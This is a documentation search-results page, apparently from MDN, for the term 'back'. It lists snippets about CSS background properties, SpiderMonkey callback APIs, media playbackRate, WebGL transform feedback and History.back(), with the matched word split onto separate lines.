Search completed in 1.39 seconds.
Resizing background images with background-size - CSS: Cascading Style Sheets
the
background-size css property lets you resize the
background image of an element, overriding the default behavior of tiling the image at its full size by specifying the width and/or height of the image.
...to do this, we can use a fixed
background-size value of 150 pixels.
... html <div class="tiled
background"> </div> css .tiled
background {
background-image: url(https://www.mozilla.org/media/img/logos/firefox/logo-quantum.9c5e96634f92.png);
background-size: 150px; width: 300px; height: 300px; border: 2px solid; color: pink; } result stretching an image you can also specify both the horizontal and vertical sizes of the image, like this:
background-size: 300px 150px; the result looks like this: scaling an image up on the other end of the spectrum, you can scale an image up in the
background.
...And 5 more matches
AnimationPlaybackEvent.AnimationPlaybackEvent() - Web APIs
the animationplay
backevent() constructor of the web animations api returns a new animationplay
backevent object instance.
... syntax var animationplay
backevent = new animationplay
backevent(type, eventinitdict); parameters type a domstring representing the name of the event.
... specifications specification status comment web animationsthe definition of 'animationplay
backevent()' in that specification.
Backgrounds and borders - Learn web development
previous overview: building blocks next in this lesson, we will take a look at some of the creative things you can do with css
backgrounds and borders.
... from adding gradients,
background images, and rounded corners,
backgrounds and borders are the answer to a lot of styling questions in css.
... prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, html basics (study introduction to html), and an idea of how css works (study css first steps.) objective: to learn how to style the
background and border of boxes.
...And 53 more matches
Background Tasks API - Web APIs
the cooperative scheduling of
background tasks api (also referred to as the
background tasks api or simply the requestidlecall
back() api) provides the ability to queue tasks to be executed automatically by the user agent when it determines that there is free time to do so.
...window.requestidlecall
back() makes it possible to become actively engaged in helping to ensure that the browser's event loop runs smoothly, by allowing the browser to tell your code how much time it can safely use without causing the system to lag.
... getting the most out of idle call
backs because idle call
backs are intended to give your code a way to cooperate with the event loop to ensure that the system is utilized to its full potential without over-tasking it, resulting in lag or other performance problems, you should be thoughtful about how you go about using them.
...And 36 more matches
background-size - CSS: Cascading Style Sheets
the
background-size css property sets the size of the element's
background image.
... spaces not covered by a
background image are filled with the
background-color property, and the
background color will be visible behind
background images that have transparency/translucency.
... syntax /* keyword values */
background-size: cover;
background-size: contain; /* one-value syntax */ /* the width of the image (height becomes 'auto') */
background-size: 50%;
background-size: 3.2em;
background-size: 12px;
background-size: auto; /* two-value syntax */ /* first value: width of the image, second value: height */
background-size: 50% auto;
background-size: 3em 25%;
background-size: auto 6px;
background-size: auto auto; /* multiple
backgrounds */
background-size: auto, auto; /* not to be confused with `auto auto` */
background-size: 50%, 25%, 25%;
background-size: 6px, auto, contain; /* global values */
background-size: inherit;
background-size: initial;
background-size: unset; the
background-size property is specified in one of the following ways: using the keyword va...
...And 32 more matches
Scaling of SVG backgrounds - CSS: Cascading Style Sheets
given the flexibility of svg images, there's a lot to keep in mind when using them as
background images with the
background-image property, and even more to keep in mind when also scaling them using the
background-size property.
... if
background-size specifies a fixed dimension (that is, percentages and relative units are fixed by their context), that dimension wins.
... if none of the above cases are met, the image is rendered at the same size as the
background area.
...And 29 more matches
JS_SetGCCallback
specify a new call
back function for the garbage collector.
... syntax void js_setgccall
back(jsruntime *rt, jsgccall
back cb, void *data); jsgccall
back js_setgccall
back(jscontext *cx, jsgccall
back cb); // obsolete since jsapi 13 jsgccall
back js_setgccall
backrt(jsruntime *rt, jsgccall
back cb); // obsolete since jsapi 13 name type description cx jscontext * (for the old js_setgccall
back) any jscontext.
... the gc call
back of the associated jsruntime is set.
...And 26 more matches
JS_SetOperationCallback
this article covers features introduced in spidermonkey 1.8.5 set a call
back function that is automatically called periodically while javascript code runs.
... these methods/types are renamed to js_setinterruptcall
back, js_getinterruptcall
back, js_requestinterruptcall
back and jsinterruptcall
back in spidermonkey 30.
... syntax void js_setoperationcall
back(jscontext *cx, jsoperationcall
back call
back); jsoperationcall
back js_getoperationcall
back(jscontext *cx); void js_triggeroperationcall
back(jsruntime *rt); name type description cx jscontext * a context.
...And 22 more matches
background-position - CSS: Cascading Style Sheets
the
background-position css property sets the initial position for each
background image.
... the position is relative to the position layer set by
background-origin.
... syntax /* keyword values */
background-position: top;
background-position: bottom;
background-position: left;
background-position: right;
background-position: center; /* <percentage> values */
background-position: 25% 75%; /* <length> values */
background-position: 0 0;
background-position: 1cm 2cm;
background-position: 10ch 8em; /* multiple images */
background-position: 0 0, center; /* edge offsets values */
background-position: bottom 10px right 20px;
background-position: right 3em bottom 10px;
background-position: bottom 10px right;
background-position: top ri...
...And 21 more matches
Rendering and the WebXR frame animation callback - Web APIs
then the first animation frame is scheduled by calling the xrsession method requestanimationframe(), providing a call
back function, mydrawframe(), whose job is to render the frame.
... refresh rate and frame rate assuming you've called the xrsession method requestanimationframe() since the last time the screen refreshed, the browser will call your frame renderer call
back every time it's ready to repaint your app or site window.
... hardare vertical refresh rate when the browser is ready to refresh the <canvas> within which your webxr content is displayed, it calls your frame rendering call
back, which uses the specified timestamp and any other relevant data, such as models and textures, as well as application state, to render the scene—as it should appear at the specified time—into the webgl
backbuffer.
...And 19 more matches
JS_SetBranchCallback
specifies a call
back function that is automatically called when a script branches
backward during execution, when a function returns, and at the end of the script.
... replaced with js_setoperationcall
back.
... syntax jsbranchcall
back js_setbranchcall
back(jscontext *cx, jsbranchcall
back cb); name type description cx jscontext * the context to hook.
...And 16 more matches
Declaring and Using Callbacks
c functions occasionally take function pointers as arguments, which are generally used as call
backs.
... in these cases, js-ctypes allows you to pass a regular javascript function as the call
back.
... warning: call
backs must be invoked on the same thread with which they were registered.
...And 16 more matches
JS_SetInterruptCallback
this article covers features introduced in spidermonkey 31 set a call
back function that is automatically called periodically while javascript code runs.
... syntax jsinterruptcall
back js_setinterruptcall
back(jsruntime *rt, jsinterruptcall
back call
back); jsinterruptcall
back js_getinterruptcall
back(jsruntime *rt); void js_requestinterruptcall
back(jsruntime *rt); name type description rt jsruntime * the runtime.
... call
back jsinterruptcall
back the call
back function to install.
...And 15 more matches
JS_SetContextCallback
specifies a call
back function that is automatically called whenever a jscontext is created or destroyed.
... syntax void js_setcontextcall
back(jsruntime *rt, jscontextcall
back cxcall
back, void *data); name type description rt jsruntime * pointer to a js runtime.
... cxcall
back jscontextcall
back pointer to the call
back function, described below.
...And 14 more matches
background - CSS: Cascading Style Sheets
the
background shorthand css property sets all
background style properties at once, such as color, image, origin and size, or repeat method.
... constituent properties this property is a shorthand for the following css properties:
background-attachment
background-clip
background-color
background-image
background-origin
background-position
background-repeat
background-size syntax /* using a <
background-color> */
background: green; /* using a <bg-image> and <repeat-style> */
background: url("test.jpg") repeat-y; /* using a <box> and <
background-color> */
background: border-box red; /* a single image, centered and scaled */
background: no-repeat center/80% url("../img/image.png"); the
background...
... property is specified as one or more
background layers, separated by commas.
...And 14 more matches
background-image - CSS: Cascading Style Sheets
the
background-image css property sets one or more
background images on an element.
... the
background images are drawn on stacking context layers on top of each other.
... the borders of the element are then drawn on top of them, and the
background-color is drawn beneath them.
...And 13 more matches
background-position-x - CSS: Cascading Style Sheets
the
background-position-x css property sets the initial horizontal position for each
background image.
... the position is relative to the position layer set by
background-origin.
... the value of this property is overridden by any declaration of the
background or
background-position shorthand properties applied to the element after it.
...And 13 more matches
background-position-y - CSS: Cascading Style Sheets
the
background-position-y css property sets the initial vertical position for each
background image.
... the position is relative to the position layer set by
background-origin.
... the value of this property is overridden by any declaration of the
background or
background-position shorthand properties applied to the element after it.
...And 13 more matches
background-repeat - CSS: Cascading Style Sheets
the
background-repeat css property sets how
background images are repeated.
... a
background image can be repeated along the horizontal and vertical axes, or not repeated at all.
... syntax /* keyword values */
background-repeat: repeat-x;
background-repeat: repeat-y;
background-repeat: repeat;
background-repeat: space;
background-repeat: round;
background-repeat: no-repeat; /* two-value syntax: horizontal | vertical */
background-repeat: repeat space;
background-repeat: repeat repeat;
background-repeat: round space;
background-repeat: no-repeat round; /* global values */
background-repeat: inherit;
backgr...
...And 12 more matches
JS_AddFinalizeCallback
this article covers features introduced in spidermonkey 17 add/remove call
back function for finalization.
... syntax bool js_addfinalizecall
back(jsruntime *rt, jsfinalizecall
back cb, void *data); // added in spidermonkey 38 (jsapi 32) void js_removefinalizecall
back(jsruntime *rt, jsfinalizecall
back cb); // added in spidermonkey 38 (jsapi 32) void js_setfinalizecall
back(jsruntime *rt, jsfinalizecall
back cb); // obsolete since jsapi 32 name type description rt jsruntime * the jsruntime for which to set the finalization call
back.
... cb jsfinalizecall
back pointer to the new call
back function to use.
...And 11 more matches
background-clip - CSS: Cascading Style Sheets
the
background-clip css property sets whether an element's
background extends underneath its border box, padding box, or content box.
... if the element has no
background-image or
background-color, this property will only have a visual effect when the border has transparent regions or partially opaque regions (due to border-style or border-image); otherwise, the border masks the difference.
... note: because the root element has a different
background painting area, the
background-clip property has no effect when specified on it.
...And 11 more matches
Web Audio playbackRate explained - Developer guides
the play
backrate property of the <audio> and <video> elements allows us to change the speed, or rate, at which a piece of web audio or video is playing.
... this article explains play
backrate in detail.
... play
backrate basics let's starting by looking at a brief example of play
backrate usage: var myaudio = document.createelement('audio'); myaudio.setattribute('src','audiofile.mp3'); myaudio.play
backrate = 0.5; here we create an <audio> element, and set its src to a file of our choice.
...And 11 more matches
background-attachment - CSS: Cascading Style Sheets
the
background-attachment css property sets whether a
background image's position is fixed within the viewport, or scrolls with its containing block.
... syntax /* keyword values */
background-attachment: scroll;
background-attachment: fixed;
background-attachment: local; /* global values */
background-attachment: inherit;
background-attachment: initial;
background-attachment: unset; the
background-attachment property is specified as one of the keyword values from the list below.
... values fixed the
background is fixed relative to the viewport.
...And 10 more matches
Creating JavaScript callbacks in components
call
back patterns in idl xpcom components use idl to create interfaces.
...here is an example of how to use the call
back system: var wordhandler = { onword : function(word) { alert(word); } }; var stringparser = /* get a reference to the parser somehow */ stringparser.addobserver(wordhandler); stringparser.parse("pay no attention to the man behind the curtain"); you can find examples of this pattern all over the mozilla codebase.
... in fact, there is even a specific interface for this form of push call
backs, nsiobserverservice.
...And 9 more matches
window.requestIdleCallback() - Web APIs
the window.requestidlecall
back() method queues a function to be called during a browser's idle periods.
... this enables developers to perform
background and low priority work on the main event loop, without impacting latency-critical events such as animation and input response.
... functions are generally called in first-in-first-out order; however, call
backs which have a timeout specified may be called out-of-order if necessary in order to run them before the timeout elapses.
...And 9 more matches
backface-visibility - CSS: Cascading Style Sheets
the
backface-visibility css property sets whether the
back face of an element is visible when turned towards the user.
... an element's
back face is a mirror image of its front face.
... though invisible in 2d, the
back face can become visible when a transformation causes the element to be rotated in 3d space.
...And 8 more matches
PBackground
p
background is a mechanism available since gecko 30 (see bug 956218) that builds on top of ipdl to provide a solution to common problems that arise when handling multiple threads in the chrome process, for example communication between workers and multiple child processes and other parent-process worker threads.
... this article outlines what p
background is, and how it works.
... p
background p
background exists to solve such problems.
...And 7 more matches
JS_SetFunctionCallback
sets a call
back to be run whenever a javascript function is invoked or exited.
... syntax void js_setfunctioncall
back(jscontext *cx, jsfunctioncall
back fcb); name type description cx jscontext * pointer to a js context from which to derive runtime information.
... fcb jsfunctioncall
back the call
back to execute when javascript functions are invoked and exited.
...And 7 more matches
Backwards Compatibility of Flexbox - CSS: Cascading Style Sheets
in this guide we will look at how well flexbox is supported in browsers, and look at some potential issues, resources and methods for creating workarounds and fall
backs.
...if you are trying to ensure
backwards compatibility with old versions of browsers, and in particular ie10 and 11, the flexbugs site is a helpful resource.
... .wrapper { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; } autoprefixer online is a useful way to see which prefixes are recommended, depending on how many versions you wish to go
back with browser support.
...And 7 more matches
background-color - CSS: Cascading Style Sheets
the
background-color css property sets the
background color of an element.
... syntax /* keyword values */
background-color: red;
background-color: indigo; /* hexadecimal value */
background-color: #bbff00; /* fully opaque */
background-color: #bf0; /* fully opaque shorthand */
background-color: #11ffee00; /* fully transparent */
background-color: #1fe0; /* fully transparent shorthand */
background-color: #11ffeeff; /* fully opaque */
background-color: #1fef; /* fully opaque shorthand */ /* rgb value */
background-color: rgb(255, 255, 128); /* fully opaque */
background-color: rgba(117, 190, 218, 0.5); /* 50% tra...
...nsparent */ /* hsl value */
background-color: hsl(50, 33%, 25%); /* fully opaque */
background-color: hsla(50, 33%, 25%, 0.75); /* 75% transparent */ /* special keyword values */
background-color: currentcolor;
background-color: transparent; /* global values */
background-color: inherit;
background-color: initial;
background-color: unset; the
background-color property is specified as a single <color> value.
...And 7 more matches
enable-background - SVG: Scalable Vector Graphics
the enable-
background attribute specifies how the accumulation of the
background image is managed.
... note: as a presentation attribute, enable-
background can be used as a css property.
... default value accumulate animatable no accumulate if an ancestor container element has a property value of enable-
background: new, then all graphics elements within the current container element are rendered both onto the parent container elementʼs
background image canvas and onto the target device.
...And 7 more matches
JS::SetOutOfMemoryCallback
this article covers features introduced in spidermonkey 31 specify a new call
back function for out of memory error.
... syntax void js::setoutofmemorycall
back(jsruntime *rt, js::outofmemorycall
back cb, void *data); name type description rt jsruntime * the jsruntime for which to set the gc call
back.
... cb js::outofmemorycall
back pointer to the new call
back function to use.
...And 6 more matches
JS_SetCompartmentNameCallback
this article covers features introduced in spidermonkey 17 set call
back function to name each compartment.
... syntax void js_setcompartmentnamecall
back(jsruntime *rt, jscompartmentnamecall
back call
back); name type description cx jsruntime * the runtime to set the call
back function.
... call
back jscompartmentnamecall
back call
back function which will be called to name each compartment (see below).
...And 6 more matches
Animation.playbackRate - Web APIs
the animation.play
backrate property of the web animations api returns or sets the play
back rate of the animation.
... animations have a play
back rate that provides a scaling factor from the rate of change of the animation's timeline time values to the animation’s current time.
... the play
back rate is initially 1.
...And 6 more matches
AudioBufferSourceNode.playbackRate - Web APIs
the play
backrate property of the audiobuffersourcenode interface is a k-rate audioparam that defines the speed at which the audio asset will be played.
... syntax audiobuffersourcenode.play
backrate.value = play
backrateproportion; value an audioparam whose value is a floating-point value indicating the play
back rate of the audio as a decimal proportion of the original sampling rate.
...let's see what a few values of play
backrate do: a play
backrate of 1.0 plays the audio at full speed, or 44,100 hz.
...And 6 more matches
JS::SetLargeAllocationFailureCallback
this article covers features introduced in spidermonkey 31 specify a new call
back function for large memory allocation failure.
... syntax void js::setlargeallocationfailurecall
back(jsruntime *rt, js::largeallocationfailurecall
back afc, void *data); name type description rt jsruntime * the jsruntime for which to set the gc call
back.
... cb js::largeallocationfailurecall
back pointer to the new call
back function to use.
...And 5 more matches
JS_SetCheckObjectAccessCallback
set the runtime-wide check-object-access call
back.
...in spidermonkey 1.8.1 and later, use js_setruntimesecuritycall
backs instead.
... syntax jscheckaccessop js_setcheckobjectaccesscall
back( jsruntime *rt, jscheckaccessop acb); name type description rt jsruntime * the runtime to configure.
...And 5 more matches
MediaPositionState.playbackRate - Web APIs
the mediapositionstate dictionary's play
backrate property is used when calling the mediasession method setpositionstate() to tell the user agent the rate at which media is currently being played.
... this information can then, in turn, be used by the user agent to provide a user interface which displays media play
back information to the viewer.
... for example, a browser might use this information along with the position property and the navigator.mediasession.play
backstate, as well as the session's metadata to provide an integrated common user interface showing the currently playing media as well as standard pause, play, forward, reverse, and other controls.
...And 5 more matches
::backdrop - CSS: Cascading Style Sheets
the ::
backdrop css pseudo-element is a box the size of the viewport which is rendered immediately beneath any element being presented in full-screen mode.
... when multiple elements have been placed into full-screen mode, the
backdrop is drawn immediately beneath the frontmost such element, and on top of the older full-screen elements.
... /*
backdrop is only displayed when dialog is opened with dialog.showmodal() */ dialog::
backdrop {
background: rgba(255,0,0,.25); } all full-screen elements are placed in a last-in/first out (lifo) stack in the top layer, which is a special layer in the viewport which is always rendered last (and therefore on top) before drawing the viewport's contents to the screen.
...And 5 more matches
Using multiple backgrounds - CSS: Cascading Style Sheets
you can apply multiple
backgrounds to elements.
... these are layered atop one another with the first
background you provide on top and the last
background listed in the
back.
... only the last
background can include a
background color.
...And 5 more matches
background-origin - CSS: Cascading Style Sheets
the
background-origin css property sets the
background's origin: from the border start, inside the border, or inside the padding.
... note that
background-origin is ignored when
background-attachment is fixed.
... syntax /* keyword values */
background-origin: border-box;
background-origin: padding-box;
background-origin: content-box; /* global values */
background-origin: inherit;
background-origin: initial;
background-origin: unset; the
background-origin property is specified as one of the keyword values listed below.
...And 5 more matches
background-size - Archive of obsolete content
if so, feel free to change the en/css_reference/property_template and all css property pages ; ) start with -webkit-
background-size and investigate support of contain and cover keywords and "omitted second value" behavior.
... [i assume it's the same as safari, since they just
backported a webkit patch into khtml.
...user:jürgen jeka 2009-08-04 <hr> is there anyway to have the -moz-border-image only apply if -moz-
background-size is not supported?
...And 4 more matches
JS_GetLocaleCallbacks
get and set locale specific string conversion and error message call
backs.
... syntax jslocalecall
backs * js_getlocalecall
backs(jsruntime *rt); void js_setlocalecall
backs(jsruntime *rt, jslocalecall
backs *call
backs); name type description cx jscontext * pointer to a js context from which to derive runtime information.
... call
backs jslocalecall
backs * pointer to a jslocalecall
backs struct.
...And 4 more matches
JS_GetSecurityCallbacks
syntax /* added in spidermonkey 17 */ void js_setsecuritycall
backs(jsruntime *rt, const jssecuritycall
backs *call
backs); const jssecuritycall
backs * js_getsecuritycall
backs(jsruntime *rt); /* obsolete since jsapi 13 */ jssecuritycall
backs * js_setcontextsecuritycall
backs(jscontext *cx, jssecuritycall
backs *call
backs); jssecuritycall
backs * js_getruntimesecuritycall
backs(jsruntime *rt); jssecuritycall
backs * js_setruntimesecuritycall
backs(jsruntime *rt, jssecuritycall
backs *call
backs); name type description rt jsruntime * a runtime to get/set the security call
backs.
... call
backs const jssecuritycall
backs * a pointer to the new call
backs for the runtime.
... call
back structure struct jssecuritycall
backs { jscspevalchecker contentsecuritypolicyallows; // added in spidermonkey 1.8.5 jssubsumesop subsumes; // added in spidermonkey 31 jscheckaccessop checkobjectaccess; // obsolete since jsapi 29 jsprincipalstranscoder principalstranscoder; // obsolete since jsapi 13 jsobjectprincipalsfinder findobjectprincipals; // obsolete since jsapi 13 }; name type description contentsecuritypolicyallows jscspevalchecker a pointer to the function which checks if a csp instance wants to disable eval() and friends.
...And 4 more matches
JS_SetDestroyCompartmentCallback
this article covers features introduced in spidermonkey 17 set the call
back function for each compartment being destroyed.
... syntax void js_setdestroycompartmentcall
back(jsruntime *rt, jsdestroycompartmentcall
back call
back); name type description cx jsruntime * the runtime to set the call
back function.
... call
back jsdestroycompartmentcall
back call
back function which will be called for each compartment being destroyed (see below).
...And 4 more matches
Mail composition back end
ssages nsimsgsend sending listener interfaces nsimsgsendlistener nsimsgcopyservicelistener copy operations copy to sent folder drafts templates "send later" sending unsent messages sending unsent messages listener quoting sample programs overview i've done considerable work in the past few weeks reorganizing the mail composition
back end, so i thought it would be helpful to put together a small doc on the new interfaces and how one can use them.
... the mail composition
back end is responsible for the assembly and creation of rfc822 messages to be delivered either via smtp or nntp services.
...this will change in the coming weeks and allow for developers to write javascript to take advantage of the
back end services.
...And 4 more matches
Animation.updatePlaybackRate() - Web APIs
the updateplay
backrate() method of the web animations api's animation interface sets the speed of an animation after first synchronizing its play
back position.
...in such a case, setting the play
backrate on the animation directly may cause the animation's play
back position to jump since its play
back position on the main thread may have drifted from the play
back position where it is currently running.
... updateplay
backrate() is an asynchronous method that sets the speed of an animation after synchronizing with its current play
back position, ensuring that the resulting change in speed does not produce a sharp jump.
...And 4 more matches
WebGL2RenderingContext.isTransformFeedback() - Web APIs
the webgl2renderingcontext.istransformfeed
back() method of the webgl 2 api returns true if the passed object is a valid webgltransformfeed
back object.
... syntax glboolean gl.istransformfeed
back(transformfeed
back); parameters transformfeed
back a webgltransformfeed
back object to test.
... return value a glboolean indicating whether the given object is a valid webgltransformfeed
back object (true) or not (false).
...And 4 more matches
window.cancelIdleCallback() - Web APIs
summary the window.cancelidlecall
back() method cancels a call
back previously scheduled with window.requestidlecall
back().
... syntax window.cancelidlecall
back(handle); parameters handle the id value returned by window.requestidlecall
back() when the call
back was established.
... example see our complete example in the article cooperative scheduling of
background tasks api.
...And 4 more matches
HTMLMediaElement.playbackRate - Web APIs
the htmlmediaelement.play
backrate property sets the rate at which the media is being played
back.
...the normal play
back rate is multiplied by this value to obtain the current rate, so a value of 1.0 indicates normal speed.
... if play
backrate is negative, the media is not played
backwards.
...And 3 more matches
MediaSession.playbackState - Web APIs
the play
backstate property of the mediasession interface indicates whether the current media session is playing or paused.
... syntax let play
backstate = mediasession.play
backstate; mediasession.play
backstate = play
backstate; value a domstring indicating the current play
back state of the media session.
... the value may be one of the following: none the browsing context doesn't currently know the current play
back state, or the play
back state is not available at this time.
...And 3 more matches
WebGL2RenderingContext.bindTransformFeedback() - Web APIs
the webgl2renderingcontext.bindtransformfeed
back() method of the webgl 2 api binds a passed webgltransformfeed
back object to the current gl state.
... syntax void gl.bindtransformfeed
back(target, transformfeed
back); parameters target a glenum specifying the target (binding point).
... must be gl.transform_feed
back.
...And 3 more matches
WebGL2RenderingContext.createTransformFeedback() - Web APIs
the webgl2renderingcontext.createtransformfeed
back() method of the webgl 2 api creates and initializes webgltransformfeed
back objects.
... syntax webgltransformfeed
back gl.createtransformfeed
back(); parameters none.
... return value a webgltransformfeed
back object.
...And 3 more matches
WebGL2RenderingContext.deleteTransformFeedback() - Web APIs
the webgl2renderingcontext.deletetransformfeed
back() method of the webgl 2 api deletes a given webgltransformfeed
back object.
... syntax void gl.deletetransformfeed
back(transformfeed
back); parameters transformfeed
back a webgltransformfeed
back object to delete.
...webgltransformfeed
back objects are not available in webgl 1.
...And 3 more matches
fallback - CSS: Cascading Style Sheets
the fall
back descriptor can be used to specify a counter style to fall
back to if the current counter style cannot create a marker representation for a particular counter value.
... syntax /* keyword values */ fall
back: lower-alpha; fall
back: custom-gangnam-style; description if the specified fall
back style is also unable to construct a representation, then its fall
back style will be used.
... if a valid fall
back style is not specified, it defaults to decimal.
...And 3 more matches
backdrop-filter - CSS: Cascading Style Sheets
the
backdrop-filter css property lets you apply graphical effects such as blurring or color shifting to the area behind an element.
... because it applies to everything behind the element, to see the effect you must make the element or its
background at least partially transparent.
... /* keyword value */
backdrop-filter: none; /* url to svg filter */
backdrop-filter: url(commonfilters.svg#filter); /* <filter-function> values */
backdrop-filter: blur(2px);
backdrop-filter: brightness(60%);
backdrop-filter: contrast(40%);
backdrop-filter: drop-shadow(4px 4px 10px blue);
backdrop-filter: grayscale(30%);
backdrop-filter: hue-rotate(120deg);
backdrop-filter: invert(70%);
backdrop-filter: opacity(20%);
backdrop-filter: sepia(90%);
backdrop-filter: saturate(80%); /* multiple filters */
backdrop-filter: url(filters.svg#filter) blur(4px) saturate(150%); /* global values */
backdrop-filter: inherit;
backdrop-filter: initial;
backdrop-filter: unset; syntax values none no filter is applied to the
backdrop.
...And 3 more matches
background-blend-mode - CSS: Cascading Style Sheets
the
background-blend-mode css property sets how an element's
background images should blend with each other and with the element's
background color.
... blending modes should be defined in the same order as the
background-image property.
... if the blending modes' and
background images' list lengths are not equal, it will be repeated and/or truncated until lengths match.
...And 3 more matches
console/traceback - Archive of obsolete content
experimental functionality similar to python's trace
back module.
... usage trace
backs are stored in json format.
... globals functions fromexception(exception) attempts to extract the trace
back from exception.
...And 2 more matches
NPAnyCallbackStruct - Archive of obsolete content
syntax typedef struct { int32 type; } npanycall
backstruct; fields the data structure has the following field: type always contains np_print.
... description call
back structures are used to pass platform-specific information.
... the npanycall
backstruct structure contains information required by the platformprint field of the npembedprint structure during embedded mode printing.
...And 2 more matches
Debug.msTraceAsyncCallbackStarting - Archive of obsolete content
the debug.mstraceasynccall
backstarting function associates the call
back stack with a previously specified asynchronous operation.
... syntax debug.mstraceasynccall
backstarting(asyncoperationid) parameters asyncoperationid the id associated with the asynchronous operation.
... remarks call this function in the call
back function for the asynchronous operation after the call to debug.mstraceasyncoperationcompleted.
...And 2 more matches
Callback function - MDN Web Docs Glossary: Definitions of Web-related terms
a call
back function is a function passed into another function as an argument, which is then invoked inside the outer function to complete some kind of routine or action.
... here is a quick example: function greeting(name) { alert('hello ' + name); } function processuserinput(call
back) { var name = prompt('please enter your name.'); call
back(name); } processuserinput(greeting); the above example is a synchronous call
back, as it is executed immediately.
... note, however, that call
backs are often used to continue code execution after an asynchronous operation has completed — these are called asynchronous call
backs.
...And 2 more matches
Test your skills: backgrounds and borders - Learn web development
this aim of this skill test is to get you working with css
backgrounds and borders using the skills you have learned in the previous lesson.
...
backgrounds and borders 1 in this task we want you to add a
background, border, and some simple styling to a page header: give the box a 5px black solid border, with rounded corners of 10px.
... add a
background image (use the url balloons.jpg) and size it so that it covers the box.
...And 2 more matches
JSSecurityCallbacks.contentSecurityPolicyAllows
the jssecuritycall
backs.contentsecuritypolicyallows call
back is called when a script attempts to access an object property.
... the call
back can deny the script access to the property.
... jscheckaccessop is the type of the call
back.
...And 2 more matches
nsIAsyncVerifyRedirectCallback
netwerk/base/public/nsiasyncverifyredirectcall
back.idlscriptable implement this interface to receive a call
back that lets you know whether an asynchronous redirect was verified or vetoed.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface implements the call
backs passed to the nsichanneleventsink.asynconchannelredirect() method.
... method overview void onredirectverifycall
back(in nsresult result); methods onredirectverifycall
back() implements the asynchronous call
back passed to nsichanneleventsink.asynconchannelredirect().
...And 2 more matches
AnimationPlaybackEvent.currentTime - Web APIs
the currenttime read-only property of the animationplay
backevent interface represents the current time of the animation that generated the event at the moment the event is queued.
... reduced time precision to offer protection against timing attacks and fingerprinting, the precision of play
backevent.currenttime might get rounded depending on browser settings.
... // reduced time precision (2ms) in firefox 60 play
backevent.currenttime; // 23.404 // 24.192 // 25.514 // ...
...And 2 more matches
AnimationPlaybackEvent - Web APIs
the animationplay
backevent interface of the web animations api represents animation events.
... constructor animationplay
backevent.animationplay
backevent() constructs a new animationplay
backevent object instance.
... attributes animationplay
backevent.currenttime the current time of the animation that generated the event.
...And 2 more matches
HTMLVideoElement.msIsLayoutOptimalForPlayback - Web APIs
msislayoutoptimalforplay
back is a read-only property which indicates whether the video can be rendered more efficiently.
... syntax htmlvideoelement.msislayoutoptimalforplay
back: domstring; value boolean value set to true indicates that video is being rendered optimally (better performance and using less battery power).
... for msislayoutoptimalforplay
back to be true, avoid the following: video elements with cascading style sheets (css) outlines set.
...And 2 more matches
History.back() - Web APIs
the history.
back() method causes the browser to move
back one page in the session history.
... syntax history.
back() examples the following short example causes a button on the page to navigate
back one entry in the session history.
... html <button id="go-
back">go
back!</button> javascript document.getelementbyid('go-
back').addeventlistener('click', () => { history.
back(); }); specifications specification status comment html living standardthe definition of 'history.
back()' in that specification.
...And 2 more matches
RTCSessionDescriptionCallback - Web APIs
the rtcsessiondescriptioncall
back type is used to represent the call
back function passed into the deprecated call
back-based version of createoffer() or createanswer() when using them to create offers or answers.
... because this function type is part of the legacy webrtc api, you should avoid using it (and the call
back-based forms of createoffer() and createanswer() that make use of it).
... syntax rtcsessiondescriptioncall
back(description); parameters description an rtcsessiondescriptioninit (or rtcsessiondescription) object describing the session being offered or being accepted.
...And 2 more matches
VideoPlaybackQuality.totalVideoFrames - Web APIs
the videoplay
backquality interface's totalvideoframes read-only property returns the total number of video frames that have been displayed or dropped since the media was loaded.
... syntax value = videoplay
backquality.totalvideoframes; value the total number of frames that the <video> element has displayed or dropped since the media was loaded into it.
... example this example calls getvideoplay
backquality() to obtain a videoplay
backquality object, then determines what percentage of frames have been lost by either corruption or being dropped.
...And 2 more matches
WebGL2RenderingContext.pauseTransformFeedback() - Web APIs
the webgl2renderingcontext.pausetransformfeed
back() method of the webgl 2 api pauses a transform feed
back operation.
... syntax void gl.pausetransformfeed
back(); parameters none.
... examples var transformfeed
back = gl.createtransformfeed
back(); gl.bindtransformfeed
back(gl.transform_feed
back, transformfeed
back); gl.begintransformfeed
back(gl.triangles); gl.pausetransformfeed
back(); //...
...And 2 more matches
WebGL2RenderingContext.resumeTransformFeedback() - Web APIs
the webgl2renderingcontext.resumetransformfeed
back() method of the webgl 2 api resumes a transform feed
back operation.
... syntax void gl.resumetransformfeed
back(); parameters none.
... examples var transformfeed
back = gl.createtransformfeed
back(); gl.bindtransformfeed
back(gl.transform_feed
back, transformfeed
back); gl.begintransformfeed
back(gl.triangles); gl.pausetransformfeed
back(); //...
...And 2 more matches
Window.back() - Web APIs
the obsolete and non-standard method
back() on the window interface returns the window to the previous item in the history.
... note: use the standard history.
back method instead.
... syntax window.
back(); parameters none.
...And 2 more matches
CSS Backgrounds and Borders - CSS: Cascading Style Sheets
styles in the css
backgrounds and borders module allow filling
backgrounds with color or an image (clipped or resized), or modifying them in other ways.
...(additionally, element boxes can be decorated with a shadow.) reference css properties
background
background-attachment
background-clip
background-color
background-image
background-origin
background-position
background-position-x
background-position-y
background-repeat
background-size border border-bottom border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-collapse border-color border-image border-image-outset border-image-repeat border-image-slice border-image-source border-image-width border-left border-left-color border-left-style border-left-width border-radius border-right border-right-color...
... border-right-style border-right-width border-style border-top border-top-color border-top-left-radius border-top-right-radius border-top-style border-top-width border-width box-shadow tools using multiple
backgrounds explains how to set one or more
backgrounds on an element.
...And 2 more matches
background_color - Web app manifests
type string mandatory no the
background_color member defines a placeholder
background color for the application page to display before its stylesheet is loaded.
... this value is used by the user agent to draw the
background color of a shortcut when the manifest is available before the stylesheet has loaded.
... therefore
background_color should match the
background-color css property in the site’s stylesheet for a smooth transition between launching the web application and loading the site's content.
...And 2 more matches
NPPrintCallbackStruct - Archive of obsolete content
syntax typedef struct { int32 type; file* fp; } npprintcall
backstruct; fields the data structure has the following fields: type always contains np_print.
... description call
back structures are used to pass platform-specific information.
... the npprintcall
backstruct structure contains the file pointer to which the plug-in should write its postscript data.
... see also npp_print, npembedprint, npsetwindowcall
backstruct, npanycall
backstruct ...
NPSetWindowCallbackStruct - Archive of obsolete content
